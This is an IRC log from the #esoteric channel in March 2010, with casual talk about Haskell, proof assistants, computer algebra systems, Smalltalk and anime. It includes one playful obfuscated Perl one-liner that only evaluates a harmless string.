http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.106.2290&rep=rep1&type=pdf < 1268523841 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell let x ++ y = foldr (:) y x in [1,2,3] ++ [4,5,6] < 1268523855 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[1,2,3,4,5,6] < 1268523909 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: no < 1268523913 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fold f = foldr f [] < 1268523927 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :grmbl < 1268524018 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm you cannot put _either_ x or y after that for any f and get x ++ y, because [] will be wrong < 1268524180 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm that [[1,2],[3,4]] thing... < 1268524193 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which would be concat not ++, but... < 1268524210 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1268524241 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i'm not sure it is possibl < 1268524243 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*e < 1268524284 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268524357 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :What postscript viewer should I use for Windows? < 1268524365 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :gsview is nice except that it sucks, horribly. < 1268524897 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I guess Prop being a subset of Set is the nicest thing. < 1268525019 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268525278 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: how do you feel about duplicated names in the type and definition? < 1268525280 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :flippedMagma : (M : Magma) ? M.carrier ? M.carrier ? M.carrier < 1268525280 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :flippedMagma M a b = M._�_ a b < 1268525286 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :those two Ms bug me, since I could say _ for the second one and it'd be bound anyway < 1268525517 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: sheesh at least reply when you ask me to talk < 1268525570 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/868491.txt?key=ndyzpytcq6z99mpjfklr2w ;; two possible syntaxes for records < 1268525574 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I prefer the latter < 1268525615 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :happy pi day! < 1268525781 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bapfhj < 1268525804 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :gnörp schnibble < 1268525812 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268525877 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268525968 0 :bsmntbombdood_!~gavin@97-118-247-81.hlrn.qwest.net JOIN :#esoteric < 1268526035 0 :bsmntbombdood!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268526049 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Happy 20100314Z. < 1268526065 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Z? < 1268526093 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Zulu". Notes the time zone as being UTC. < 1268526139 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wright < 1268526823 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://pastie.org/868510.txt?key=agfujvebkzuoixl3ljiiw how would you write this with proof irrelevance? < 1268526828 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :specifically >=>< and <=>> < 1268526861 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sidenote, I guess I should have there be only one proposition x > y === y < x < 1268526883 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Why is salt and vinegar such a delicious potato chip flavor? < 1268526887 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I am so fed up I can't do anything < 1268526906 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: homeopathic alchemy < 1268526930 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Hmm. Maybe. < 1268526958 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;( < 1268526967 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: why < 1268526976 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: because it tastes nothing like salt or vinegar < 1268526977 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I can't handle people < 1268526990 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: bah < 1268526993 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so read the code instead :) < 1268527012 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Oh, it definitely tastes *of* vinegar. Though the salt and the vinegar combine to produce a distinct, delicious flavor. < 1268527064 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I hate vinegar but I like salt & vinegar crisps. < 1268527064 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :By the salt and vinegar combined, I am, captain planet! < 1268527093 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Deliciousness. < 1268527128 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Captain Planet: an allegory about the Singularity. < 1268527252 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: will you listen to suggestions for your algebraic thing < 1268527265 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268527274 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :pm me but im a moody bitch < 1268528662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"The axiom that equality of real numbers in Coq is decidable is strong enough to prove the decidability of all arithmetic statements." < 1268528664 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :! < 1268528728 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268528873 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :constructivist reals are so much better grumble. < 1268529379 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://1.2.3.11/bmi/arxiv.org/html/cs/0504039v1/c8.png i wanna get texmacs working with maxima < 1268529385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :er http://arxiv.org/PS_cache/cs/html/0504/0504039v1/c8.png < 1268529391 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so pretty < 1268529550 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if you are on gnu/linux it's easy < 1268529573 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i'm on windows unfortunately :( < 1268530333 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268530379 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1268530411 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :SUP BITCHES < 1268530462 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :INF ANTS < 1268530507 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268530515 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::O < 1268530522 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what! < 1268530595 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :LIM ERICKS < 1268530700 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268530702 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :cool < 1268530709 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :are we inventing new poem forms < 1268530752 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the form is a little limited < 1268531239 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, my computer is being a bitch. I wonder if it's Digsby's fault < 1268531271 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :76360k < 1268531280 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What does it need all that memory for? :( < 1268531655 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: have you noticed all CASs suck < 1268531655 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268531665 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268531840 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268531865 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :''=~('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('`'^'%').('{'^'"').('`'^'%').('{'^'[').('`'^'$').('{'^')').('`'^'/').('{'^'+').('{'^'(').'"'.'}'.')') < 1268531961 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise haen't really tried them out much < 1268531964 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I assume that is true < 1268532333 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268532639 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: mostly because they're not powerful enough to do proving < 1268532762 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has spent the past hour writing. Wrist hurts. :(
< 1268532795 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: if you assume they give correct answers you can prove stuff with them :p < 1268532806 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but I think there's lots of times they don't < 1268532893 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Handwriting is a *painful* archaicism. < 1268533184 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: no i mean like < 1268533187 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not powerful enough to be proof systems < 1268533295 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure about that < 1268533426 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :there are a lot of things you can prove by directly computing them < 1268533446 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"... infact, I've shown that simple programs can yeld complex results" < 1268533593 0 :coppro!unknown@unknown.invalid QUIT :Quit: Reconnecting… < 1268533611 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268533644 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :more on this later < 1268533710 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats fax for quoting wolfram, especially in the context of what counts as proof -----###
< 1268533729 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268533747 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wolfram = proof ? < 1268533749 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, that _sounded_ like a wolfram quote < 1268533842 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :that's silly, if you stick to symbolic stuff they will give correct answers < 1268533859 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean like < 1268533870 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"the result of this program" = the result of this program < 1268533887 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :if I have to prove that two huge polynomials are equal, I can do it with a CAS < 1268533895 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :ain't pretty, but it's valid < 1268533930 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :comex: yes, but there is no unifying reason to believe all the methods in a CAS are bug-free < 1268533939 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :since it has no proof system < 1268533958 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: do you ever use a calculator when doing arithmetic as part of a proof? < 1268533996 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :by the way < 1268534009 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :CAS tend to assume some (very likely to be correct) conjectures < 1268534025 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but you never really know if the computation you have done has made use of it... < 1268534043 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :like what? < 1268534069 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :algebraic indenpences of various trancendental expressions < 1268534172 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268534198 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268534401 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :comex: well for back-of-the-envelope stuff... i've even used wolfram alpha. < 1268534420 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :my published papers didn't use much arithmetic to speak of, that i can recall < 1268534579 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not that it's comparable to what alise_ wants anyhow... i certainly didn't enter any of it into a proof verifier. < 1268534766 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268534938 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268535153 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AAAGH. TEXAS BOARD OF EDUCATION. THE STUPID. IT BURNS. < 1268535165 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"The board removed the word “capitalism” from [state] standards, mandating that the term for that economic system be called “free enterprise” throughout the standards. Board members such as Terri Leo and Ken Mercer charged that “capitalism” is a negative term used by “liberal professors in academia.”" < 1268535687 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: but it's the truth? < 1268535691 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I read it on Conservapedia! < 1268535745 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268536958 0 :bsmntbombdood_!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268537046 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1268537233 0 :nooga!~nooga@86-63-124-134.sta.asta-net.com.pl JOIN :#esoteric < 1268537236 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :helloh < 1268537245 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :helloh < 1268537261 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :holleh < 1268537302 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :don't you people sleep? < 1268537338 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268537339 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nevar < 1268537392 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well it's only 5:30 here < 1268537393 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sleep is for the weak. < 1268537403 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :4:30 here < 1268537472 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: finland? < 1268537543 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://sibeli.us/ ! < 1268537546 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Go watch Endless Eight < 1268537557 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :or ... africa, RPA, greece and some small countries that i don't even know their names < 1268537568 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: 見たくない。 < 1268537581 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION can't read Japanese
< 1268537582 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :nooga: Only 21:32 here. < 1268537587 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :finland < 1268537590 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Don't wanna. < 1268537600 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268537626 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Anyone not know what Endless Eight is? I dare you to watch < 1268537629 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :http://www.theonion.com/content/news/racial_slur_development_not < 1268537638 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, you should totally learn Japanese. Cram a couple thousand kanji in a month or two. :P < 1268537716 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=ULY8qox-_qk Worth the anguish it caused non-me fans. < 1268537731 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :At least to me, it's worth that < 1268537745 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"Hate-filled bigots marched Monday to demand insults for people of all skin tones, regardless of race or nationality." < 1268537820 0 :bsmntbombdood_!~gavin@97-118-247-81.hlrn.qwest.net JOIN :#esoteric < 1268537845 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :blargh < 1268537853 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :japanese romances < 1268537874 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :nooga, do you know anything about Suzumiya Haruhi(sp?) < 1268537965 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: The correct spelling is 涼宮ハルヒ < 1268537970 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :The concept of "Haruhi Suzumiya", if you didn't know, is that the titular character, an eccentric teenager, unknowingly has godlike powers to alter the universe according to her desires. < 1268537976 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :sounds awesome < 1268537984 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :no, really < 1268537990 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It is < 1268538006 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Except for 5 of 8 episodes of Endless Eight < 1268538031 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And that's less for entertainment, and more to make a poiint < 1268538035 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*point < 1268538049 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::3 < 1268538064 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Sorry if that was too spoilery < 1268538180 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :nah < 1268538202 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i'm more interested in revealing the truth about G-man from Half-Life series < 1268538388 0 :kwertii!~kwertii@ResNet-35-132.resnet.ucsb.edu JOIN :#esoteric < 1268538781 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"It's too bad Endless is over XD" < 1268538788 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Comment on http://www.youtube.com/watch?v=pz2NtNuGKjE < 1268539185 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: The correct spelling is 涼宮ハルヒの憂鬱 < 1268539209 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I copied my spelling straight off Wikipedia >_< < 1268539246 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: 涼宮ハルヒ is just the name of a character. :P < 1268539254 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well. And the book series. < 1268540432 0 :gm|lap!~gm@unaffiliated/greasemonkey JOIN :#esoteric < 1268540509 0 :Wareya!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268542597 0 :nooga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268543341 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION switches back to Pidgin
< 1268543392 0 :mibygl!~62d188c5@gateway/web/freenode/x-jleknbptczfltypp JOIN :#esoteric < 1268543429 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Time to redesign computing from the ground up! < 1268543445 0 :gm|lap!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268543469 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should use Miranda IM < 1268543819 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :You know, redesigning computing from the ground up actually sounds kind of difficult. < 1268543830 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs.
< 1268543965 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :So, I imagine an object-oriented Internet. < 1268543988 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :There are a couple of different domains, and crossing each is going to be done differently. < 1268544013 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :There's the application domain, doing stuff within a single application; that's going to be very simple and have no security restrictions. < 1268544036 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :There's the machine domain, doing stuff on a single machine; that's going to be a bit more complex and there are going to be lots of security restrictions. < 1268544059 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :And there's the Internet domain, doing stuff across the Internet; that's going to be even more complex and there are going to be even more security restrictions. < 1268544119 0 :puzzlet!unknown@unknown.invalid QUIT :Quit: leaving < 1268544130 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268544904 0 :kwertii!unknown@unknown.invalid PRIVMSG #esoteric :mibygl: channelling Scott McNealy circa 1997? < 1268544926 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps. < 1268544947 0 :kwertii!unknown@unknown.invalid PRIVMSG #esoteric :"the network *IS* the computer! and I woulda gotten away with it, too, if it wasn't for you pesky kids.." < 1268544972 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Files, one of Unix's fundamental units of organization, can be greatly done away with; they can be replaced with some abstract object thingy. < 1268544983 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :And this abstract object thingy would essentially be a file. :P < 1268545086 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :It wouldn't necessarily have exactly one location in the filesystem, though; it could have multiple, or none at all. In the latter case, it would be garbage collected as soon as there were no surviving pointers to it. < 1268545204 0 :kwertii!unknown@unknown.invalid PRIVMSG #esoteric :mibygl: have you seen Eros OS? no distinction between long and short term storage < 1268545253 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :I have not. < 1268545262 0 :kwertii!unknown@unknown.invalid PRIVMSG #esoteric :sounds like what you're describing < 1268545269 0 :kwertii!unknown@unknown.invalid PRIVMSG #esoteric :program memory just magically persists < 1268545276 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :The Extremely Reliable Operating System? < 1268545298 0 :kwertii!unknown@unknown.invalid PRIVMSG #esoteric :yep, that's the one < 1268545324 0 :kwertii!unknown@unknown.invalid PRIVMSG #esoteric :ahh, looks like it forked in 2005 to Coyotos and CapROS. shows how much I've been keeping up with these things. < 1268545937 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268545993 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268546230 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268546416 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :mibygl: So. Smalltalk. < 1268546428 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, filesystem? < 1268546429 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Bah. < 1268546432 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Smalltalk, except it's the entire Internet! < 1268546440 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So. Smalltalk. < 1268546443 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I imagine it would look a lot like Smalltalk. < 1268546456 0 :bsmntbombdood_!unknown@unknown.invalid NICK :bsmntbombdood < 1268546464 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Tell me what a trans-Internet pointer looks like in Smalltalk. :P < 1268546481 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Actually, if Smalltalk already supports that... < 1268546486 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :...then that is fucking awesome. < 1268546506 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure Project Croquet stuck that into Smalltalk. < 1268546542 0 :bsmntbombdood!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268546566 0 :bsmntbombdood!~gavin@97-118-247-81.hlrn.qwest.net JOIN :#esoteric < 1268546699 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :The Croquet Project? < 1268546750 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. That. < 1268546962 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The Croquet project is an outstanding display of how when you layer bad ideas on other bad ideas, nobody cares. < 1268546979 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Croquet, the game, on the other hand, is awesome. < 1268547181 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sees your croquet and raises you Brokkian Ultra-Cricket
< 1268547345 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268547366 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... And yes I know croquet is a real game. < 1268547370 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And Ultra-Cricket is not. < 1268547384 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I can't imagine that the "ultra" version of a game so complicated that the human brain is only capable of understanding either it or all other games, is a good idea. < 1268547430 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ultra-Cricket once had its rules bound into a single volume. It became a black hole. < 1268547479 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Bravo, sir. < 1268547497 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not my joke. Is Douglas Adams. < 1268547506 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Aha, didn't know. < 1268547507 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(read Hitchhiker's Guide. It is imperative.) < 1268547519 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I have, but a long long time ago, in a galaxy not to far from here. < 1268547521 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :This galaxy, in fact. < 1268547524 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1268547584 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*too far, of course >_> < 1268548535 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's wrong with the Croquet Project? < 1268548579 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Some interesting ideas composed by people without a clue how to do a usable UI. < 1268548618 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and the entire project is mostly a UI design project. < 1268548648 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants OpenCobalt to succeed
< 1268550041 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Looking at Smalltalk, I don't think I care for it. < 1268550108 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Maybe tomorrow I'll come up with a language that's a cross between Smalltalk and Haskell. < 1268550366 0 :mibygl!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268553375 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268553398 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268553599 0 :clog!unknown@unknown.invalid QUIT :ended < 1268553600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268554100 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268555150 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268555651 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268556783 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268557118 0 :kwertii!unknown@unknown.invalid QUIT :Quit: kwertii < 1268557323 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268557908 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268566932 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268568575 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268569087 0 :MigoMipo!~migomipo@84-217-8-185.tn.glocalnet.net JOIN :#esoteric < 1268569101 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268569266 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268569570 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268569784 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268569916 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : http://www.theonion.com/content/news/racial_slur_development_not <-- :D < 1268569927 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also, http://www.theonion.com/content/news/man_on_internet_almost_falls_into < 1268570687 0 :cheater2!~cheater@ip-80-226-214-137.vodafone-net.de JOIN :#esoteric < 1268571603 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268572781 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268574345 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268574513 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268574523 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1268575014 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268575051 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1268575157 0 